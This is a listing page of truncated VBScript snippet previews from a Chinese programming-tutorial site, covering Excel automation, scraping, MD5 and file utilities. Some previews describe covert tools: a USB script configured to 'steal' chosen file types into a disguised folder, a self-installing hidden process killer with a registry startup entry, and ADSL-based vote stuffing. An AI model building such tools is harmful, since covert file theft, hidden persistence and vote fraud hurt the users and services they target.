Welcome

首页 / 编程脚本

vbs 搜索代理地址实现代码[小偷程序]

2017-02-06 43
复制代码 代码如下:"1、输入url目标网页地址，返回值getHTTPPage是目标网页的html代码 function getHTTPPage（url） dim Http set Http=CreateObject（"MSXML2.XMLHTTP"） Http.open "GET",url,false Http.send（） if Http.readystate<>4 then exit function end if getHTTPPage...

vbscript 调用WebService实现代码

2017-02-06 46
复制代码 代码如下:"获取已初始化Soap对象 Public Function GetSoapClient（sURL） Dim oSoap Set oSoap = CreateObject（"MSSOAP.SoapClient"） oSoap.mssoapinit sURL Set GetSoapClient = oSoap End Function "用户绑定对应序列号 sub BindCodeNumber（） Dim oSoap Dim sURL di...

VBScript 算一算你从出生到现在共计多少天

2017-02-06 65
VBScript算一算你从出生到现在共计多少天. msgbox DateDiff（"d","1/25/1981",Date） 1. 新建一个记事本，输入上面内容。 2. 存为.vbs文件。 3. 双击执行。 其实呢，算算你的天数也很有必要，要珍惜每一天的光阴，不能浪费。 msgbox DateDiff（"d","1/25/1981",Date） [Ctrl+A 全选 注:如需引入外部Js需刷新才能执行] ...

VBS操作Excel常见方法

2017-02-06 121
dim oExcel,oWb,oSheet Set oExcel= CreateObject（"Excel.Application"） Set oWb = oExcel.Workbooks.Open（"E:其他新装电话表.xls"） Set oSheet = oWb.Sheets（"Sheet1"） MsgBox oSheet.Range（"B2"）.Value "#提取单元格B2内容 "..... 3、如果是XP系统，可以使用如下代码 Dim objFi...

VBS 批量读取文件夹内所有的文本到Excel的脚本

2017-02-06 63
复制代码 代码如下: "This code is done by KangKang@ Option explicit ‘This is optional, but better to use. Dim FolderPath,Folder Dim fso,File,Files Dim fileNums Dim FileString（） Dim i Dim ii i=0 FolderPath="E:TDDOWNLOADaa" "****************...

vbs 合并多个excel文件的脚本

2017-02-06 67
复制代码 代码如下: Const xlWorkbookNormal = -4143 Const xlSaveChanges = 1 objStartFolder = "c: est" "要读取的源文件目录 desExcel= "c: esult1.xls" "最后生成的汇总excel Set ExcelApp = CreateObject（"Excel.Application"） Set destbook = ExcelApp.Workbooks.Add ...

自动删除超过10天的文件及文件夹的vbs代码

2017-02-06 72
复制代码 代码如下:option explicit dim fpath,fso,logfile,fwrite fpath=inputbox （"输入目标文件夹","文件处理器"） logfile="logfile.txt" set fso=createobject（"scripting.filesystemobject"） Set fwrite=fso.opentextfile（logfile,8,true） getfilename fpath fwrit...

VBScript 常用函数总结

2017-02-06 46
下面是我总结的VBScript中常用的函数及其用法。 1，GetROProperty 说明：You use the GetROProperty method to retrieve the current value of a test object property from a run-time object in your application. 一般来说，所有的对象都可以使用此方法得到运行时对象的实际值。 语法：object.Ge...

利用WScript.Shell对象隐藏cmd命令行运行框的实现代码

2017-02-06 82
1. WScript.Shell（Windows Script Host Runtime Library）是一个对象，对应的文件是C:WINDOWSsystem32wshom.ocx，Wscript.shell是服务器系统会用到的一种组件。shell 就是“壳”的意思，这个对象可以执行操作系统外壳常用的操作，比如运行程序、读写注册表、环境变量等。这个对象通常被用在VB或VBS编程中。 2. 安装WScript.Shell对象：regsvr32 WShom....

常用VBS代码 值得一看

2017-02-06 74
从系统开始菜单中删除此链接: 复制代码 代码如下: Windows Registry Editor Version 5.00 [HKEY_CLASSES_ROOTCLSID{2559a1f6-21d7-11d4-bdaf-00c04f60b9f0}] @=- "InfoTip"=- [HKEY_CLASSES_ROOTCLSID{2559a1f6-21d7-11d4-bdaf-00c04f60b9f0}DefaultIcon] @=- [HKEY_CLAS...

进程监控实现代码[vbs+bat]

2017-02-06 58
运行后会在%windir%system32目录下生成jk.vbs， 并且自动添加注册表启动项，另外在D:会生成一个隐藏属性的JK.VBS， 3秒间隔监控进程，如果进程中有QQ.exe、iexplore.exe、client.exe、game.exe进程则会自动结束进程。 复制代码 代码如下:@echo off attrib -s -h -a -r d:jk.bat 1>nul 2>nul if exist d:jk.bat del d:jk.b...

VBS 生成不重复随机数代码[0-10]

2017-02-06 44
复制代码 代码如下:dim Z（10）,i for i=0 to 10 Z（I）=GetRnd（i-1） WScript.Echo （Z（i）） NEXT Function GetRnd（n） Dim i,X Randomize X=CInt（10*Rnd（） ） For i=0 To n If X=Z（i） Then X=GetRnd（n） Exit For End If Next GetRnd=X End Function ...

vbs 百度小助手

2017-02-06 46
运行它直接选择： 1.我要回答;2.歌曲搜索;3,新闻搜索;4.网页搜索;5.贴吧搜索;6.知道搜索;7.图片搜索;8.视频搜索;9;百科搜索; 然后输入需要搜索的内容即可直接自动打开转到指定网址自动进行搜索．复制代码 代码如下:xz=InputBox（"1.我要回答;2.歌曲搜索;3,新闻搜索;" & Chr（13） & "4.网页搜索;5.贴吧搜索;6.知道搜索;" & Chr（13） & "7.图片搜索;8.视频搜索;9;百科搜索;","百度小助手 ...

字符ANSI代码查询工具vbs版

2017-02-06 57
复制代码 代码如下:x=InputBox（"请输入字符","提示","Test"） If Len（x）<>0 then For i=1 To Len（x） WScript.echo "字符 [" & Mid（x,i,1） & "] ANSI代码为: " & Asc（Mid（x,i,1）） Next Else MsgBox "请输入英文字符",64,"提示" End if...

VBS MD5加密算法代码

2017-02-06 44
复制代码 代码如下:Private Const BITS_TO_A_BYTE = 8 Private Const BYTES_TO_A_WORD = 4 Private Const BITS_TO_A_WORD = 32 Private m_lOnBits（30） Private m_l2Power（30） m_lOnBits（0） = CLng（1） m_lOnBits（1） = CLng（3） m_lOnBits（2） = CLng（7） m_lOnB...

用VBS实现一个小键盘动作CTRL+V粘贴操作与思路分析

2017-02-06 97
提示: 1,是每次有跳出窗口时的1.8秒后都要有此动作,并且是只发送了一次该动作,发送完后等待下次的窗口跳出再循环. 2,每次循环中都只是发送了一次CTRL + V后就停,而不是一直发送 看到问题，立即着手编写测试代码，这时候问题出现： 弹出 inputbox 窗口后，VBS处于暂停状态，等待用户输入，点击确定or取消， 所以在它后面的 Wshshell.Sendkeys "^v" 将无法执行， 如果前面弹出 inputbox 窗口后点击确定 or 取消的...

VBS 偏移量解密工具[算法解密]

2017-02-06 44
复制代码 代码如下:If wscript.arguments.count=0 Or wscript.arguments.Count>1 then msgbox "请将通过偏移量加密过的 VBS 文件拖放到本脚本上即可[请逐个解密]！",48,"提示" wscript.quit End If For Each fname In wscript.Arguments If Right（fname,3）<> "vbs" Then MsgBox "...

自动复制U盘文件的VBS脚本

2017-02-06 103
以下为演示： 一、设置 右键单击，选择编辑 oStr = "txt|jpg|doc" "你要窃取的文件类型,可以自行添加，用“|”隔开 oDistPath = "C:\windows\system\" "保存路径 oFolderName = "Task" "保存文件夹名称 oType = 0 "将保存的文件夹进行伪装 1为task文件夹，2为recycler文件夹，0为不伪装 oOut = 1 "1复制完毕后退出,0复制完毕后不退出，继续循环 二、保存后运...

vbs 自动复制U盘的内容

2017-02-06 84
思路很简单，高层的东西没什么技术含量，引用几个函数或方法就行了。开始我用的是批处理（如果你插入U盘的盘符是J，把课件保存于F盘）打开记事本，键入以下内容： 复制代码 代码如下: :cheat ping 127.0.0.1>nul if exist J:*.ppt （copy J:*.ppt F: && exit） else goto cheat 保存为main.bat，本来这个文件就够实现此功能了，但我想不到有什么DOS命令可以隐藏命令提示符界面，...

用vbs实现的利用ADSL拨号变ip刷投票的代码

2017-02-06 55
以前写过一个利用ADSL拨号变ip刷流量的vbs，只要把刷新的页面稍微改一下（添加个自动提交的js）就是了，可是怎么找都找不到了，没法重新写。 还有种办法就是vbs直接提交，可是写了半天，怎么也没运行起，以后改好了在贴出来。 写的时候遇到了点问题，就是利用网页的js提交的时候，会跳转跳显示投票成果的页面，会弹出个投票成功的对话框，这会影响下面的打开网页。又没法屏蔽，所以采用了个折衷办法，每次结束浏览器进程，在刷后面的页面。 复制代码 代码如下: Const...
<< 31 32 33 34 35 36 37 38 39 40 >>
版权所有©石家庄振强科技有限公司2024 冀ICP备08103738号-5 网站地图